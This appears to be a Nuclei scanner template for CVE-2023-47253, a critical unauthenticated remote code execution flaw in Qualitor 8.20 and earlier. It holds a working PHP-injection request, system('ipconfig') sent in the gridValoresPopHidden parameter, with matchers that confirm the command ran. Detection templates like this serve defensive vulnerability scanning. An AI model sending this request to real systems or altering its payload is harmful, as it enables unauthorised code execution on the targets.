id: CVE-2023-47253

info:
  name: Qualitor <= 8.20 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands via PHP code injection, potentially compromising the entire Qualitor system.
  remediation: |
    Upgrade Qualitor to version 8.21 or later.
  reference:
    - https://github.com/vnxdtzip/CVE-2023-47253
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
    - https://openxp.xpsecsecurity.io/blog/cve-2023-47253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47253
    cwe-id: CWE-77
    epss-score: 0.14422
    epss-percentile: 0.96262
    cpe: cpe:2.3:a:qualitor:qalitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2023,rce,qualitor,vuln,vkev

http:
  - raw:
      - |
        GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig"); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows","DNS")'
          - 'contains(content_type,"text/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502207dd870f27df1c2543bbdc0bf40fafb68ace7a5e351cb643e4c6742cde77d105b022100cd789463091203e34023d8425e21e3893c4409ccf209b2ff7eafe7fe02713220:922c64590222798bb761d5b6d8e72950